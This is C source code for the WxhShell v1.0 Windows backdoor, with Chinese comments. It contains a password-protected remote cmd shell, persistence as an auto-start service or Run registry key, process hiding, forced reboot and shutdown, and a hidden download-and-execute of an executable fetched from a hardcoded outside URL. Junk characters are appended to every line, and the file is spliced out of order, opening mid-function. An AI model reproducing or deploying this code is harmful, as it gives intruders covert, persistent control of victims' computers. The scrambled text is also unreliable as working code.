    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $^;b 1bnO  
    else { Q1?09  
    closesocket(wsh); s GdlS&08(  
    ExitThread(0); Az"(I>VfD  
    } g<&n V>wF  
    break; Rx>>0%e.  
    } 6 (@U+`  
  // 获取shell 6~_ TXy/  
  case 's': { FG[YH5  
    CmdShell(wsh); bQFMg41*w7  
    closesocket(wsh); mz kv/  
    ExitThread(0); mcB8xE  
    break; /9..hEq^  
  } NiCB.a  
  // 退出 drc]"6 k  
  case 'x': { 7-u['nFJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q!+&|F  
    CloseIt(wsh); L 2k?Pl  
    break; <5wk~|@t  
    } <B %s9Zy  
  // 离开 =Pu;wx9  
  case 'q': { xOAA1#   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~$\9T.tre2  
    closesocket(wsh); ;5(ptXX1W  
    WSACleanup(); 8vL2<VT;  
    exit(1); /PuN+M  
    break; Sl RQi:  
        } cB ,l=/?  
  } ;@R=CQ6  
  } 2GRdfX  
qB0F9[U  
  // 提示信息 B<p -.tv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WzwH;!  
} [~[)C]-=  
  } RZg8y+jM  
5!pof\/a  
  return; NEb M>1>^  
} Bl"BmUn  
=K ctAR;  
// shell模块句柄 5RysN=czA  
int CmdShell(SOCKET sock) <@puWm[p  
{ >m-VBo  
STARTUPINFO si; {hmC=j  
ZeroMemory(&si,sizeof(si)); (ndTEnpp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L~u@n24  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L~PBD?l  
PROCESS_INFORMATION ProcessInfo; j~Cch%%G  
char cmdline[]="cmd"; <HC5YA)4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w#!^wN  
  return 0; zc n/LF  
} 1"4Pan  
-J<{NF  
// 自身启动模式 ev}ugRxt|k  
int StartFromService(void) P wY~L3,  
{ E9"P~ nz  
typedef struct vTdJe  
{ hN3*]s;/6z  
  DWORD ExitStatus; 6(5YvT  
  DWORD PebBaseAddress; knsTy0]  
  DWORD AffinityMask; c :{#H9  
  DWORD BasePriority; _3'FX# xc  
  ULONG UniqueProcessId; LW$(;-rY  
  ULONG InheritedFromUniqueProcessId; T|o ]8z  
}   PROCESS_BASIC_INFORMATION; >-0\wP  
`pfZJ+  
PROCNTQSIP NtQueryInformationProcess; R;]z/|8  
mz'r<v2Tc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BM,]Wjfdj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %]m/fo4b  
h'tb  
  HANDLE             hProcess; &O:IRR7p  
  PROCESS_BASIC_INFORMATION pbi; Yi5^# G  
,L.*95 ,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @> ]O6P2  
  if(NULL == hInst ) return 0; ;;zQVD )X  
5S EyAhB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m);0sb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); , Y\`n7Ww  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +' lj\_n  
rEF0A&5  
  if (!NtQueryInformationProcess) return 0; a^ _ _Z3g,  
:Q=tGj\ G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lzE{e6  
  if(!hProcess) return 0; D\ ;(BB  
5(+PI KCjC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U_8 Z&  
fVXZfq6  
  CloseHandle(hProcess); 6` 8H k;  
R. (fo:ve>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0,z3A>C  
if(hProcess==NULL) return 0; LrGLIt`  
E0s|eA&  
HMODULE hMod; (T9Q6 \sa  
char procName[255]; hT0[O  
unsigned long cbNeeded; ]+ KN9  
L*QX21@wC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EDA%qNd]j  
S#{jyU9 ]  
  CloseHandle(hProcess); b5@sG^  
sYG:\>}ie  
if(strstr(procName,"services")) return 1; // 以服务启动 2:6W_[7l!  
<y}9Twdy  
  return 0; // 注册表启动 l 10p'9 n  
} g5OKhL0u  
x%!Ea{ s  
// 主模块 n`Y"b&  
int StartWxhshell(LPSTR lpCmdLine) 0|J]EsPxu  
{ "?X,);5S  
  SOCKET wsl; A5\00O~  
BOOL val=TRUE; X9-WU\?UC  
  int port=0;  mdtG W  
  struct sockaddr_in door; %tvP\(]h  
cS2PrsUx  
  if(wscfg.ws_autoins) Install(); 4m:D8&D_M  
"PD^]m  
port=atoi(lpCmdLine); kF@Z4MB}yr  
VL?sfG0  
if(port<=0) port=wscfg.ws_port; Mjon++>Z  
$1E'0M`  
  WSADATA data; <3)k M&.B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sP'U9l  
Sk6B>O<:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fFNs cY<4w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X3dXRDB'  
  door.sin_family = AF_INET; 9zL(PkC%\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E xls_oSp  
  door.sin_port = htons(port); }mYxI^n  
3T= ?!|e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;(3!#4`q(]  
closesocket(wsl); QhJuH_f 0  
return 1; 8)o%0#;0B  
} V"Sa9P{y"  
!0Mx Bem  
  if(listen(wsl,2) == INVALID_SOCKET) { -\9K'8 C  
closesocket(wsl); euyd(y$'k  
return 1; j6:jN-z  
} =`KA@~XH4  
  Wxhshell(wsl); A/c#2  
  WSACleanup(); )Ggv_mc h  
Pxvf"SXX  
return 0; ZamOYkRX  
`9* |Y8:  
} ) w1`<7L  
 Iysp)  
// 以NT服务方式启动 c<a)Yqf"]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Due@ '  
{ }1#prQ0F  
DWORD   status = 0; YZ k.{#^c  
  DWORD   specificError = 0xfffffff; XkhGU?={  
67g"8R#.V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FX1H2N(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a_3w/9L4r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (uVL!%61k  
  serviceStatus.dwWin32ExitCode     = 0; W8_$]}G8E  
  serviceStatus.dwServiceSpecificExitCode = 0; sx n{uRF  
  serviceStatus.dwCheckPoint       = 0; !kS/Ei  
  serviceStatus.dwWaitHint       = 0; |pG%]?A  
.nzN5FB U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X5tx(}j  
  if (hServiceStatusHandle==0) return; srQGqE~  
%xv*#.<Vj  
status = GetLastError(); eev-";c  
  if (status!=NO_ERROR) B2,c_[UZ.  
{ )kT.3 Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {ldt/dl~  
    serviceStatus.dwCheckPoint       = 0; bP Q=88*  
    serviceStatus.dwWaitHint       = 0; ^m/7T wD  
    serviceStatus.dwWin32ExitCode     = status; ^~;"$=Wf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7|PB6h3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ii&\LJ  
    return; RG.wu6Av  
  } .>a [  
ntntB{t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; , .E>  
  serviceStatus.dwCheckPoint       = 0; E 1`TQA  
  serviceStatus.dwWaitHint       = 0; :>y;*x0w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X`fb\}~R(  
} ka_(8  
^D76_'{  
// 处理NT服务事件,比如:启动、停止 hS1I ;*t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q-s(2C  
{ \^1S:z  
switch(fdwControl) Ae[fW97  
{ SLW|)Q24  
case SERVICE_CONTROL_STOP: FP'-=zgc  
  serviceStatus.dwWin32ExitCode = 0; Xp.$FJ1)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w{*PZb4  
  serviceStatus.dwCheckPoint   = 0; `&9iC 4P  
  serviceStatus.dwWaitHint     = 0; E&N~ h|CL  
  { 9:P\)'y?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <L+1 &H  
  } MD^,"!A  
  return; (6Ciqf8  
case SERVICE_CONTROL_PAUSE: I^Dm 3yz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N8iLI`  
  break; "~mY4WVG  
case SERVICE_CONTROL_CONTINUE: 2?{'(i ay  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nTl2F1(sV7  
  break; e%lxRN"b  
case SERVICE_CONTROL_INTERROGATE: ;0U*N& f  
  break; HbRvU}C1  
}; >6R3KJe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r )HZaq  
} DL<;qhte  
,{;*b v  
// 标准应用程序主函数 guG&3{&\s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TuEM  
{ WvZt~x&2  
c5_/i7  
// 获取操作系统版本 iu?gZVyka  
OsIsNt=GetOsVer(); {_mVfFG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); shR|  
UwxszEHC  
  // 从命令行安装 }<YU4EW  
  if(strpbrk(lpCmdLine,"iI")) Install(); /,_m\ JkwL  
:dqZM#$d  
  // 下载执行文件 Gj?$HFa  
if(wscfg.ws_downexe) { ?qb35  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) inFS99DKx  
  WinExec(wscfg.ws_filenam,SW_HIDE); l/,la]!T  
} `^] D;RfE  
@C<ofg3E  
if(!OsIsNt) { &)jq3  
// 如果时win9x,隐藏进程并且设置为注册表启动 \1SC:gN*#  
HideProc(); i),bAU!+m  
StartWxhshell(lpCmdLine); 'J$@~P  
} 9GRQ^E  
else zn>+ \  
  if(StartFromService()) wBvVY3VQ^  
  // 以服务方式启动 =P%&]5ts  
  StartServiceCtrlDispatcher(DispatchTable); ;{aGEOP'U  
else `U=Jbdc l3  
  // 普通方式启动 $H)Q UFyC  
  StartWxhshell(lpCmdLine); Vm[F~2+HX  
*NG\3%}%|@  
return 0; Xo:Mar  
} 2e-`V5{)b  
x0b=r!Duu  
v$D U q+  
x5CMP%}d  
=========================================== ?% [~J  
2n$Wey[  
peF)U !`D  
1yZA_x15:  
*`rfD*  
uIbAlE  
" -r_,#LR!l  
y%X! l(gQ  
#include <stdio.h> 5|=J\Lp2I  
#include <string.h> 9|lLce$  
#include <windows.h> #%2d;V  
#include <winsock2.h> yx|{:Li!  
#include <winsvc.h> qDG2rFu&[  
#include <urlmon.h> W7Y@]QMX  
ggL/7I(  
#pragma comment (lib, "Ws2_32.lib") + c+i u6+"  
#pragma comment (lib, "urlmon.lib") b*.aaOb  
6UqAs<c9  
#define MAX_USER   100 // 最大客户端连接数 vJaWHC$q  
#define BUF_SOCK   200 // sock buffer x(cv}#}S8  
#define KEY_BUFF   255 // 输入 buffer i%JJ+9N  
Ix6\5}.c9  
#define REBOOT     0   // 重启 cFt&Efj  
#define SHUTDOWN   1   // 关机 XPU>} 4{  
|1 "&[ .  
#define DEF_PORT   5000 // 监听端口 EG`6T  
xnt)1Q  
#define REG_LEN     16   // 注册表键长度 |?#JCG  
#define SVC_LEN     80   // NT服务名长度 OxYAM,F  
MqB@}!  
// 从dll定义API +C8O"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @lF?+/=$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ps>:|j+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9OV@z6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }%8ZN :  
0cE9O9kE  
// wxhshell配置信息 mf3,V|>[\  
struct WSCFG { &hO-6(^I  
  int ws_port;         // 监听端口 ;aV3j/  
  char ws_passstr[REG_LEN]; // 口令 W~0rSVD$<z  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5h&sdzfG  
  char ws_regname[REG_LEN]; // 注册表键名 aZ4?! JW.  
  char ws_svcname[REG_LEN]; // 服务名 kqm(D#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aTTkj\4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RARA_tii  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 50QDqC-]XS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k9f|R*LM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (0 H=f6N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C@6:uiT$  
7H5VzV  
}; ewU*5|*[  
?W{+[OXs  
// default Wxhshell configuration J?w_DQa  
struct WSCFG wscfg={DEF_PORT, XZ~kXE;B(  
    "xuhuanlingzhe", .Pponmy  
    1, Ba@~:  
    "Wxhshell", Q $}#&  
    "Wxhshell", \0x>#ygX  
            "WxhShell Service", } Xo#/9  
    "Wrsky Windows CmdShell Service", ["<Xh0_  
    "Please Input Your Password: ", {#qUZ z-  
  1, dazNwn  
  "http://www.wrsky.com/wxhshell.exe", LN WS  
  "Wxhshell.exe" "t&=~eOe3  
    }; -0d9,,c  
<7VLUk}  
// 消息定义模块 xeSch?}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W|m(Jh[w]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Q|-Npw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZK8)FmT_<O  
char *msg_ws_ext="\n\rExit."; ]JjS$VMauX  
char *msg_ws_end="\n\rQuit."; X|T|iB,vT  
char *msg_ws_boot="\n\rReboot..."; !xfDWbvHV  
char *msg_ws_poff="\n\rShutdown..."; SjB"#E)  
char *msg_ws_down="\n\rSave to "; \jwG*a  
1H-Y3G>jN  
char *msg_ws_err="\n\rErr!"; U L $!  
char *msg_ws_ok="\n\rOK!"; q4[}b-fF  
UeO/<ml3>J  
char ExeFile[MAX_PATH]; VKDOM0{V  
int nUser = 0; P}}G9^  
HANDLE handles[MAX_USER]; 9?H$0xZV  
int OsIsNt; SYY x>1;8`  
#QoWneZ  
SERVICE_STATUS       serviceStatus; Wp>t\S~N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'vd&r@N  
|@u2/U9  
// 函数声明 fA6IW(_bi  
int Install(void); rJpr;QKf%  
int Uninstall(void); 6}TunR  
int DownloadFile(char *sURL, SOCKET wsh); y>y2,x+[  
int Boot(int flag); *~)6 sm  
void HideProc(void); T;92M}\  
int GetOsVer(void); ?Fl}@EA#M  
int Wxhshell(SOCKET wsl); n?fy@R  
void TalkWithClient(void *cs); R%WY!I8C  
int CmdShell(SOCKET sock); fWmc$r5n](  
int StartFromService(void); ,2fi`9=\  
int StartWxhshell(LPSTR lpCmdLine); ]ZcivnN#  
x vs=T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .D 4G;=Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x"Ky_P~  
8M*+ |  
// 数据结构和表定义 ~a ([e\~  
SERVICE_TABLE_ENTRY DispatchTable[] = ed,A'S= d  
{ T/3LJGnY  
{wscfg.ws_svcname, NTServiceMain}, vTK%4=|1}!  
{NULL, NULL} }ssV"5M  
}; >[;W ~*  
-wXeue},>  
// 自我安装 Mp`$1Ksn  
int Install(void) {$z54nvw$  
{ 1%+-}yo<  
  char svExeFile[MAX_PATH]; qS vV |G  
  HKEY key; :hZM$4  
  strcpy(svExeFile,ExeFile); ]o<]A[<  
mH$tG $  
// 如果是win9x系统,修改注册表设为自启动 <Q~N9W  
if(!OsIsNt) { hik.qK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?XHQdN3e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e]RzvWq  
  RegCloseKey(key); a<<4gXx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]@#9B>v=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |fgUW.  
  RegCloseKey(key); Y)1/f EM  
  return 0; )%K<pIk  
    } !zX() V  
  } L+8ar9es  
} 5skN'*oG  
else { L]kBY2c  
|Mb{0mKb  
// 如果是NT以上系统,安装为系统服务 dEJqgp}\p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {$^'oRk  
if (schSCManager!=0) ?P'$Vxl  
{ spV7\Gs.@  
  SC_HANDLE schService = CreateService msmW2Zc  
  ( 3=.YQE0!dx  
  schSCManager, ;bE/(nz M  
  wscfg.ws_svcname, 9lb?%UFe  
  wscfg.ws_svcdisp, 1,fR kQ  
  SERVICE_ALL_ACCESS, r^~+ <"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >5CK&6  
  SERVICE_AUTO_START, e=0]8l>\V  
  SERVICE_ERROR_NORMAL, %y RGN  
  svExeFile, XRV]u|w=g  
  NULL, U!(.i1^n  
  NULL, Hh% !4_AMw  
  NULL, /pj[c;aO  
  NULL, J~2SGXH)^?  
  NULL ~m6=s~Vn  
  ); gK rUv0&F  
  if (schService!=0) = QBvU)Ki  
  { n~ *|JJ*`  
  CloseServiceHandle(schService); nQiZ6[L  
  CloseServiceHandle(schSCManager); ?8-Am[xH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;M3%t=KV  
  strcat(svExeFile,wscfg.ws_svcname); ]>X_E%`G<b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _9h$8(wjn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .TGw+E1k  
  RegCloseKey(key); (DiduSJ  
  return 0; ?@'&<o0p#  
    } aD: #AmbJ  
  } [~9UsHfH  
  CloseServiceHandle(schSCManager); O52 /fGt  
} x"b'Pmw  
} :AzT=^S  
P 2WAnm  
return 1; oai=1vt@  
} IbI0".o  
GKt."[seV  
// 自我卸载 36=aahXd\  
int Uninstall(void) `;UWq{"  
{  pQiC#4b  
  HKEY key; ]DNPG"  
\qG ?'Iy  
if(!OsIsNt) { bIU.C|h@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p [Po*c.b  
  RegDeleteValue(key,wscfg.ws_regname); y#GHmHeh  
  RegCloseKey(key); Cy;UyZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q}LDFsU  
  RegDeleteValue(key,wscfg.ws_regname);  lbHgxZ  
  RegCloseKey(key); >bW=oTFz  
  return 0; T-] {gc  
  } E.K^v/dNdq  
} ,CqWm9  
} "`% ,l|D  
else { [M\ an6h6O  
,';|CGI cP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {+J{t\`  
if (schSCManager!=0) PJ5}c!o[  
{ 3]*Kz*i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^FLs_=E  
  if (schService!=0) tl 0|.Q,  
  { hE&6;3">  
  if(DeleteService(schService)!=0) { es)^^kGj6f  
  CloseServiceHandle(schService); tkj-.~@g0'  
  CloseServiceHandle(schSCManager); aw*]b.f  
  return 0; flmQNrC.8  
  } \FsA-W\X  
  CloseServiceHandle(schService); JN wI{  
  } kvwnqaX  
  CloseServiceHandle(schSCManager); iHPsRq!  
} dxX`\{E  
} ]h S:0QE  
 V9) /  
return 1; =z'(FP5!0  
} c""&He4zp  
mh3S?Uc  
// 从指定url下载文件 X)3(.L  
int DownloadFile(char *sURL, SOCKET wsh) FOk&z!xYKd  
{ Z}S[fN8  
  HRESULT hr; >PA*L(Dh%  
char seps[]= "/"; 3F;C{P!  
char *token; G&*P*f1 S  
char *file; 7"(Zpu  
char myURL[MAX_PATH]; `>sOOA  
char myFILE[MAX_PATH]; D{+@ ,C7B  
u$d[&|`>_  
strcpy(myURL,sURL); <\#'o}  
  token=strtok(myURL,seps); UePkSz9EU  
  while(token!=NULL) '-v:"%s|  
  { G0 )[(s  
    file=token; V ?Jy  
  token=strtok(NULL,seps); $S#Z>d*1!  
  } 4A2}3$c9  
\ptO4E  
GetCurrentDirectory(MAX_PATH,myFILE); YmC}q20;  
strcat(myFILE, "\\"); CP7Fe{P  
strcat(myFILE, file); 8B G Z  
  send(wsh,myFILE,strlen(myFILE),0); <U3X4)r  
send(wsh,"...",3,0); lUu0AZQmG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;^ME  
  if(hr==S_OK) NVMn7H}>  
return 0; B'yjMY![  
else M@.l# [@U  
return 1; Q5ASN"_  
Q4cCg7|0  
} :+"4_f0  
MqZ"Js  
// 系统电源模块 e}uK"dl(  
int Boot(int flag) @AZNF+ \W$  
{ ,iyy2  
  HANDLE hToken; !,`'VQw$  
  TOKEN_PRIVILEGES tkp; I/(U0`%  
:M"+  
  if(OsIsNt) { ({E,}x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u !BU^@P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rCw 4a?YS  
    tkp.PrivilegeCount = 1; 6BV 6<PHJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g4Z Uh@b~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FsED9+/m  
if(flag==REBOOT) { !/p|~K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )J 'F]s  
  return 0; lq9|tt6Z  
} 1K9.3n   
else { v[ iJ(C_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '7'/+G'~&  
  return 0; a}@b2Wc*  
} <MS>7Fd2  
  } tNY;wl:wp  
  else { XY'=_5t  
if(flag==REBOOT) { 1?.CXq K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O<$w-(  
  return 0; d ~ M;  
} .:?v;rYk{  
else { E>_Rsw *  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4~ }NB%,  
  return 0; 4V:W 8k 9D  
} $V87=_}  
} 6u"wgX]H  
6(QfD](2}  
return 1; dUv@u !}B  
} wH|%3 @eJ  
cP?GRMX@}  
// win9x进程隐藏模块 y[i}iT/~  
void HideProc(void) Dl/ C?Fll  
{ D/E5&6  
AOg'4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &| (K#|^@  
  if ( hKernel != NULL ) "pDU v^ie  
  { 2 ,nhs,FZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ={B C0,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i*|HN"!  
    FreeLibrary(hKernel); @|:fm() <  
  } 8|Tqk,/pD  
*)Pm   
return; WXxnOLJr  
} 2Z{?3mAb;  
,WE2.MWR  
// 获取操作系统版本 u{4P)DIQ  
int GetOsVer(void) g"/n95k<  
{ ajycYk9<m  
  OSVERSIONINFO winfo; }uDpf0;^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f 6I)c$]Q  
  GetVersionEx(&winfo); 3Ws(],Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~u*4k:2H  
  return 1; 9y7hJib  
  else ]+e zg(C}  
  return 0; 9Z -2MF  
} .f$2-5q  
XuP%/\  
// 客户端句柄模块 "w"a0nv  
int Wxhshell(SOCKET wsl) a~yiLq  
{ .gy:Pl]w  
  SOCKET wsh; jsAx;Z:QT  
  struct sockaddr_in client; QDxs+<#  
  DWORD myID; N #v[YO`.  
(*A@V%H  
  while(nUser<MAX_USER) 1HO;~NJ]m  
{ 2(d  
  int nSize=sizeof(client); UwW@}cy,L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;jgf,fbM  
  if(wsh==INVALID_SOCKET) return 1; pBAAwHD  
`RY}g;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N-l`U(Z~P  
if(handles[nUser]==0) ;y-JR$M  
  closesocket(wsh); J0Yb_(w  
else #btz94/~O  
  nUser++; \Hb!<mrp  
  } {U-z(0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UovN"8W+  
YAXd   
  return 0; F(1E@xs  
} S<(i/5Z+  
d\qszYP[  
// 关闭 socket EF&CV{Sw  
void CloseIt(SOCKET wsh) iU+SXsXLR4  
{ ir'<H<t2  
closesocket(wsh); =RUy4+0>F  
nUser--; 6`2i'flv  
ExitThread(0); FqJd  
} qVU<jt  
O\7x+^.  
// 客户端请求句柄 Q7u|^Gu,5  
void TalkWithClient(void *cs) #c:@oe4v  
{ =H7p&DhD[  
OR&pGoW  
  SOCKET wsh=(SOCKET)cs; 4j;IyQDvM  
  char pwd[SVC_LEN]; qdQ4%,E[  
  char cmd[KEY_BUFF]; ?n<F?~  
char chr[1]; "6]oi*_8  
int i,j; G739Ne[gL  
UZ/LR  
  while (nUser < MAX_USER) { D*@'%<?  
%x#S?GMV<  
if(wscfg.ws_passstr) { SkV pZh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vgc~%k62c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yjo$vQi  
  //ZeroMemory(pwd,KEY_BUFF); <nJGJ5JJ  
      i=0; QH><! sa  
  while(i<SVC_LEN) { VP< zOk7  
6MOwn*%5k  
  // 设置超时 2L^/\!V#  
  fd_set FdRead; >W+,(kAS  
  struct timeval TimeOut; e}O&_ j-  
  FD_ZERO(&FdRead); )T '?"guh`  
  FD_SET(wsh,&FdRead); -0a3eg)Z*  
  TimeOut.tv_sec=8; ;nh_L(  
  TimeOut.tv_usec=0; ],AtR1k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); At>e4t2@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }vZfp5Y  
Kez0Bka  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fV9+FOZn  
  pwd=chr[0]; )2"WC\%  
  if(chr[0]==0xd || chr[0]==0xa) { 7/&taw%i  
  pwd=0; #l>r9Z71  
  break; ^XyC[ G@[  
  } &7kLSb&|;  
  i++; bZSt<cH3  
    } =?L16mu1&  
)%/ Ni^  
  // 如果是非法用户,关闭 socket "o%okN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); no\G >#  
} 1V5N)ty  
[*K9V/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y=8KNseW|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gs}&a3d7k  
?b d&Av  
while(1) { /slCK4vFc  
H1~9f {  
  ZeroMemory(cmd,KEY_BUFF); DB"z93Mr<K  
,P`:`XQ>_B  
      // 自动支持客户端 telnet标准   [)}`w;#  
  j=0; UptKN|S&V  
  while(j<KEY_BUFF) { x15&U\U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;t N@  
  cmd[j]=chr[0]; v3~`1MM  
  if(chr[0]==0xa || chr[0]==0xd) { r *N@%T  
  cmd[j]=0; 6I~M8Lo ;  
  break; NWwKp?  
  } ^Gbcs l~Gj  
  j++; 9XUYy2{G  
    } XR=ebl  
5a6d3u/  
  // 下载文件 {2xc/   
  if(strstr(cmd,"http://")) { ='I2&I,)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {'P?wv  
  if(DownloadFile(cmd,wsh)) \Ogs]4   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E08!a  
  else r 'ioH"=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H5vg s2R  
  } MR,>]| ^  
  else { |I]G=.*E  
c -~i=C]  
    switch(cmd[0]) { &6GW9pl[  
  4D.h~X4  
  // 帮助 ,~=+]9t  
